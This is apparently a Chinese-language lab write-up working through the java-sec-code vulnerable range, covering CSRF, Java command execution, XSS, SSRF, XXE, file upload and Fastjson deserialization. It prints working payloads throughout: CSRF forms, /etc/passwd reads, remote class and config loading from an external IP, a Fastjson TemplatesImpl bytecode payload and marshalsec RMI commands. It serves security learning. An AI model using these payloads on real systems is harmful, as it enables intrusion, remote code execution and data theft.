java-sec-code
靶场地址:https://github.com/JoyChou93/java-sec-code
CSRF
CSRF 漏洞的核心是:攻击者诱导已登录目标网站的用户,在不知情的情况下发送恶意请求(利用用户的合法会话),而服务器未验证请求的合法性(缺少 CSRF 令牌校验),导致请求被成功执行。
问题发现
首先这里的csrf是存在缺陷的。
源码分析
可以看到这里默认不开启csrf校验,就算开启也是只针对post方法。
所以可以在自己的服务器上写一个恶意脚本
<html>
<body>
<form action="http://localhost:8080/csrf/post" method="POST">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
受害者在登录状态访问此恶意界面之后,浏览器会自动提交表单,向 http://localhost:8080/csrf/post 发送 POST 请求,且请求会携带受害者的合法会话凭证,由于未验证csrf令牌,服务器误认为是用户的合法操作,执行并返回CSRF passed,攻击成功。
修复点在于开启csrf防护,如果开启csrf防护之后,由于攻击者无法跨域获取受害者的CSRF令牌,服务器会校验错误导致无法访问。
利用
可以利用这一点利用受害者的合法身份,在受害者不知情的情况下执行未授权操作。
本来想试试修改密码的,但是这里好像没有对应的API,所以这里尝试登出并偷偷登录到另一个账号。
把恶意界面改成这样就行了
<!DOCTYPE html>
<html>
<head>
<title>恶意演示页面</title>
</head>
<body>
<!-- 步骤1:自动发送退出登录请求(假设/logout是GET且无CSRF保护) -->
<img src="http://localhost:8080/logout" style="display:none" />
<!-- 步骤2:尝试自动提交登录表单(因CSRF令牌保护会失败) -->
<form id="loginForm" action="http://localhost:8080/login" method="post">
<input type="hidden" name="username" value="admin" /> <!-- 攻击者指定的账号 -->
<input type="hidden" name="password" value="admin123" /> <!-- 攻击者指定的密码 -->
<input type="hidden" name="remember-me" value="true" />
<!-- 缺少CSRF令牌,登录请求会被服务器拒绝 -->
</form>
<script>
// 延迟提交登录表单,确保退出请求先执行
setTimeout(function() {
document.getElementById("loginForm").submit();
}, 1000);
</script>
</body>
</html>
这样子就会在受害者不知情的情况下登录到另一个账号。
修复
开启网站的csrf保护就行。
RCE
Java命令执行的几种方式
Runtime类系统执行命令
核心代码
Process p = Runtime.getRuntime().exec("calc");
详细代码
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Runtime1 {
public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec("whoami");
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "utf-8");
//InputStreamReader 字节流到字符流,并指定编码格式
BufferedReader br = new BufferedReader(ins);
//BufferedReader 从字符流读取文件并缓存字符
String line;
line = br.readLine();
System.out.println(line);
br.close();
ins.close();
input.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
通过Runtime类exec方法执行命令获取输入流getInputStream(),再InputStreamReader过渡到字符流,并指定gbk的编码格式。BufferedReader 再从字符输入流中读取文本并缓冲字符。再通过readLine()方法打印出结果。
源码:
@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
ProcessBuilder类命令执行
ProcessBuilder类通过创建系统进程执行命令。
核心代码
ProcessBuilder builder = new ProcessBuilder("whoami");
Process process = builder.start();
详细代码
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ProcessBuilder1 {
public static void main(String[] args) {
try {
String[] cmds = new String[]{"/bin/bash","-c","whoami"};
ProcessBuilder builder = new ProcessBuilder(cmds);
Process process = builder.start();
InputStream in = process.getInputStream();
//获取输入流
InputStreamReader ins = new InputStreamReader(in, "utf-8");
// 字节流转化为字符流,并指定编码格式
char[] chs = new char[1024];
int len = ins.read(chs);
System.out.println(new String(chs,0,len));
ins.close();
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
通过ProcessBuilder类执行系统命令获取结果。注意将命令隔开,同样转化为字符流InputStreamReader,并指定编码格式。read方法读取该字符流。将结果转化为字符串进行输出。
访问http://localhost:8080/rce/ProcessBuilder?cmd=whoami
源码:
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
反射调用Processlmpl 类执行系统命令
Runtime和ProcessBuilder执行命令实际上也调用了也是Processlmpl类。对于该类,没有构造方法,只有一个private类型的方法。可以通过反射调用。
核心代码
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);
详细代码:
import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;
@SuppressWarnings("unchecked")
public class ProcessImpl1{
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
// 通过反射获取ProcessImpl类中声明的start方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}
从Processlmpl类的class对象中获取到方法然后反射调用,获取字节输入流getInputStream的结果。ByteArrayOutputStream 创建字节数组缓冲区。read() 方法读取字节流大小,并写进缓冲区。最后将缓冲区结果转化为字符串,并指定utf-8编码格式输出。
反射调用Runtime类执行系统命令
核心代码
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");
java.lang.Runtime
类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过类加载newInstance()创建对象,反射再调用方法。
详细代码:
import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;
@SuppressWarnings("unchecked")
public class ProcessImpl1{
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}
JavaScript命令执行
javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在java中解析javascript代码。
核心代码:
String str = "Jscode";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
//通过名称 "js" 获取 JavaScript 脚本引擎
//返回的 ScriptEngine 对象可用于执行 JavaScript 代码
engine.eval(str);
源码:
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}
http://localhost:8080/rce/jscmd?jsurl=http://47.111.94.227/rce/vue.js
Yaml反序列化命令执行
SnakeYaml
是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。
核心代码
@GetMapping("/vuln/yarm")
public void yarm(String agrs) {
String content = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://o5s7wr.dnslog.cn\"]\n" +
" ]]\n" +
"]";
Yaml y = new Yaml();
y.load(content);
}
http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。
Groovy 命令执行
Groovy是一种基于JVM(java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy代码能够与java代码很好的结合,也可以用于扩展现有代码。由于其运行在JVM上的特性,Groovy可以使用其他java语言编写的库。
可以使用GroovyShell类来执行任何Groovy脚本
/**
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
* @param content groovy shell
*/
@GetMapping("/groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
利用如下
Actuators to RCE
项目使用logback作为日志框架,若同时启用Jolokia,且配置不当,就可能会导致远程恶意代码执行。
logback文件是是Logback日志框架的配置文件,用于定义日志的输出格式、级别、目的地(如控制台台、文件)等核心行为。
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<withJansi>true</withJansi>
<encoder>
<pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
</encoder>
</appender>
<root level="info">
<appender-ref ref="STDOUT" />
</root>
<jmxConfigurator/>
</configuration>
appende
(输出器):定义了一个名STDOUT
的输出器,负责日志的输出逻辑,将日志输出到控制台encoder
(编码器):定义日志的输出格式root
(根日志器):定义全局日志的默认行为,设置日志级别为info。JWM
(配置器):允许通过JMX工具动态修改日志配置
EXP:
http://localhost:8080/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/47.111.94.227/rce/xxx.xml
#http://localhost:8090/jolokia/exec/[MBean名称]/[方法名]/[参数]
<configuration>
<!-- 利用Logback的JNDI注入特性执行代码 -->
<insertFromJNDI env-entry-name="ldap://恶意LDAP服务器/恶意类" as="variable" />
</configuration>
当 Logback 解析该配置时,会触发 JNDI 查询,从恶意 LDAP 服务器加载并执行恶意类,最终实现 RCE。
Broken Access Control
某些应用获用户身份信息可能会直接从cookie中直接获取明文的nick,导致越权问题
@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();
if (cookie != null) {
nick = getCookie(req, NICK).getValue(); // key code
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}
XSS
发现
利用
#反射型
http://localhost:8080/xss/reflect?xss=<script>alert(document.cookie)</script>
#存储型
http://localhost:8080/xss/stored/store?xss=<script>alert('Stored XSS')</script>
再访问http://localhost:8080/xss/stored/show
xss可以进行敏感信息窃取(如cookie)或者钓鱼等危害
恢复
可以进行输入过滤输出编码等如
@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}
private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "'");
origin = StringUtils.replace(origin, "/", "/");
}
SSRF
利用
http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
http://localhost:8080/ssrf/urlConnection/sec?url=http://47.111.94.227/ssrf/a.php
关于java重定向特性的验证
在服务器端创建一个文件
<?php
$url = 'gopher://47.111.94.227/csrf/a.html';
header("location: $url");
?>
并访问
http://localhost:8080/ssrf/urlConnection/sec?url=http://47.111.94.227/ssrf/a.php
发现并没有产生直接访问47.111.94.227/csrf/a.html,应该有的登出效果
收到异常
java.net.MalformedURLException: unknown protocol: gopher
跟踪报错代码
private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
return false;
} else {
final int var1 = this.getResponseCode();
if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
final String var2 = this.getHeaderField("Location");
if(var2 == null) {
return false;
} else {
URL var3;
try {
// 该行代码发生异常
/* 该行代码,表示传入的协议必须和重定向的协议一致*/
if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
return false;
}
} catch (MalformedURLException var8) {
var3 = new URL(this.url, var2);
}
这里的followRedirect方法可以看到,传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。
所以,Java的SSRF利用方式比较局限:
利用file协议任意文件读取
利用http协议探测端口或攻击内网服务
XXE
利用
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
有回显的利用方式
利用file协议读取文件
XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
FileUpload
对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点
大多数公司上传的文件都会到cdn
spring的jsp文件必须在web-inf目录下才能执行
除非,可以上传war包到tomcat的webapps目录。
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}
try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);
redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}
return "redirect:/file/status";
}
@GetMapping("/status")
public String uploadStatus() {
return "uploadStatus";
}
这里未对上传文件做出任何限制
以下是相对安全的文件上传方式,包括校验文件后缀名,MIME头,用isimage()函数调用ImageIO.read()判断内容是否是文件,
// only upload picture
@PostMapping("/upload/picture")
@ResponseBody
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;
File excelFile = convert(multifile);
// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}
// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);
if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
Files.write(path, bytes);
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}
logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}
private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}
但是由于这里没有对文件名进行严格的检验,所以这里有目录穿越漏洞,可以将文件传入任意地方,如下,把文件传入上级目录。
我有点找不到它的网站根目录在哪里,直接访问或者tmp访问都会报错,好像不应该这样,不知道为什么。这很奇怪。。。
Fastjson
Fastjson 是阿里巴巴开源的高性能 JSON 解析库,专为 Java 设计,具备超快的 JSON 解析速度和丰富的功能。它支持 JSON 与 Java 对象之间的序列化与反序列化,适用于 Web 应用、分布式系统、缓存等场景。
Fastjson反序列化漏洞被利用的原因,主要归结为
Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;
Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。
攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可以被恶意利用的逻辑,则会产生一些严重的安全问题。
核心代码:
public class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式,post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.parseObject(params);
//这里直接反序列化用户可控的JSON字符串
return ob.get("name").toString();
} catch (Exception e) {
return e.toString();
}
}
public static void main(String[] args) {
// 在macOS系统中打开计算器
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
//Feature.SupportNonPublicField:允许设置私有字段
}
}
这里存在恶意Payload构造
String payload = "{\"@type\":\"com.sun....TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAAD...\"], ...}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
//解码后可见该class主要包含:
// static {
// Runtime.getRuntime().exec("open -a Calculator");
// }
使用DNSLOG验证
{"name":{"@type":"java.net.Inet4Address","val":"jn7u4i.dnslog.cn"}}
dnslog.cn会为每个用户生成唯一子域名,当目标系统解析此域名时,dnslog会记录查询日志,并进行可视化展示,所以可以借此判断是否存在漏洞点。
当Fastjson反序列化该JSON时:
会尝试创建
Inet4Address
实例、自动调用
val
的setter
方法(即Inet4Address.getByName("jn7u4i.dnslog.cn")
)触发DNS查询
任意命令执行
// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
此文件的作用就是创建了一个文件
编译代码之后,上传服务器,映射到8000端口
javac TouchFile.java
python3 -m http.server 8000
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.111.94.227/#TouchFile 9999
显示监听后,在客户端发送payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.111.94.227:9999/TouchFile",
"autoCommit":true
}
}
本来应该监听到这种类型的信息
╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999
* Opening JRMP listener on 9999
Have connection from /192.168.8.103:54177
Reading message...
Is RMI.lookup call for TouchFile 2
Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class
Closing connection
╰─$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -
但是我这里试了很多次都没有成功,先往下走吧,:(